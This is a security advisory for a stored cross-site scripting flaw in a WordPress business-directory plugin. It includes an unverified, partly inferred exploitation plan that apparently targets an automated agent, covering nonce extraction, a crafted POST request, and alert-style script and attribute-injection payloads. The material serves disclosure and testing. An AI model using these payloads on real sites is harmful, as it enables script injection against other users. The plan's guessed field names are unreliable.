CVE-2026-25004

CM Business Directory – Optimise and showcase local business <= 1.5.3 - Authenticated (Author+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
1.5.4
Patched in
42d
Time to patch

Description

The CM Business Directory – Optimise and showcase local business plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.5.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.5.3
PublishedJanuary 16, 2026
Last updatedFebruary 26, 2026
Affected plugincm-business-directory

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan focuses on **CVE-2026-25004**, a Stored Cross-Site Scripting (XSS) vulnerability in the **CM Business Directory** plugin. ### 1. Vulnerability Summary The CM Business Directory plugin fails to properly sanitize input and escape output for several business listing attributes. Auth…

Show full research plan

This research plan focuses on CVE-2026-25004, a Stored Cross-Site Scripting (XSS) vulnerability in the CM Business Directory plugin.

1. Vulnerability Summary

The CM Business Directory plugin fails to properly sanitize input and escape output for several business listing attributes. Authenticated users with Author level permissions or higher can inject malicious JavaScript into business listing fields. When these listings are viewed by other users (including administrators), the script executes in their browser context.

2. Attack Vector Analysis

  • Vulnerable Endpoint: wp-admin/post.php (for existing listings) or wp-admin/post-new.php (for new listings).
  • Vulnerable Post Type: cmbd_business (inferred).
  • Vulnerable Parameters: Meta fields associated with the business listing, likely within the cmbd_business_details meta box. Potential fields include _business_address, _business_website, _business_phone, or social media URLs.
  • Authentication Required: Author-level credentials (or higher).
  • Preconditions: The plugin must be active, and the attacker must have permission to create or edit cmbd_business posts.

3. Code Flow (Inferred)

  1. Entry Point: An Author saves a "Business" post. WordPress triggers the save_post hook.
  2. Processing: The plugin (likely in a class like CMBD_Business_Post_Type or CMBD_Meta_Box) catches the $_POST data. It calls update_post_meta() for custom fields without applying sanitize_text_field() or wp_kses().
  3. Storage: The raw XSS payload is stored in the wp_postmeta table.
  4. Sink: When a user visits the single business listing page (/?post_type=cmbd_business&p=ID) or the directory list page, the plugin retrieves the meta using get_post_meta().
  5. Execution: The retrieved data is echoed directly into the HTML template without using esc_html() or esc_attr().

4. Nonce Acquisition Strategy

Since this exploit occurs within the standard WordPress post editor, the agent must obtain the _wpnonce and _wp_http_referer associated with the post-editing session.

  1. Create/Identify Post: Determine the ID of a cmbd_business post.
  2. Navigate: Use browser_navigate to go to wp-admin/post.php?post=POST_ID&action=edit.
  3. Extract Nonce: Use browser_eval to extract the nonce from the hidden input field:
    • browser_eval('document.querySelector("#_wpnonce").value')
  4. Extract Referer:
    • browser_eval('document.querySelector("input[name=\'_wp_http_referer\']").value')

5. Exploitation Strategy

The agent will simulate an Author-level user updating a business listing with a malicious payload.

Step-by-Step Plan:

  1. Login: Authenticate as an Author.
  2. Locate Target: Identify a business listing ID.
  3. Fetch Nonces: Navigate to the edit page for that ID and extract the _wpnonce.
  4. Send Update Request: Perform a POST request to wp-admin/post.php.

HTTP Request Details:

  • Method: POST
  • URL: https://target.example.com/wp-admin/post.php
  • Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • action: editpost
    • post_ID: [POST_ID]
    • _wpnonce: [EXTRACTED_NONCE]
    • _wp_http_referer: [EXTRACTED_REFERER]
    • post_title: Safe Business Name
    • cmbd_address (inferred): 123 Main St <script>alert(document.domain)</script>
    • cmbd_website (inferred): https://example.com" onmouseover="alert(1)"
    • cmbd_social_twitter (inferred): "><script>alert('XSS')</script>

6. Test Data Setup

  1. Plugin Installation: Ensure cm-business-directory version 1.5.3 is installed.
  2. User Creation: Create a user with the author role.
  3. Listing Creation: Create at least one business listing under the cmbd_business post type (this can be done via wp post create --post_type=cmbd_business --post_title='Target Business' --post_status=publish).
  4. Identify Meta Keys: Run wp post meta list [ID] on a manually created business to confirm the exact meta keys used by the plugin (e.g., check if they start with _cmbd_ or cmbd_).

7. Expected Results

  • The POST request should return a 302 Redirect back to the edit page, indicating a successful save.
  • When navigating to the frontend URL of the business listing (e.g., /?cmbd_business=target-business), an alert box with the domain name should appear.

8. Verification Steps

  1. Database Check: Use WP-CLI to verify the payload is stored raw:
    • wp post meta get [POST_ID] cmbd_address
  2. HTML Source Check: Use http_request (GET) to the business page and grep for the payload:
    • Look for <div class="cmbd-address">123 Main St <script>alert(document.domain)</script></div> (template structure inferred).

9. Alternative Approaches

  • REST API: Check if the plugin registers custom REST API fields for the business post type. If register_rest_field is used without a sanitize_callback, the XSS could be injected via the REST API (POST /wp-json/wp/v2/cmbd_business/[ID]).
  • Frontend Submission: If the plugin has a "Submit a Business" frontend form (often triggered by the [cmbd_submit_form] shortcode), test this as an unauthenticated or subscriber user. This would upgrade the severity from CVSS 6.4 to high.
    • Nonce for Frontend: If using a frontend form, the nonce is usually localized in a JS object (e.g., window.cmbd_script_data.nonce).

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.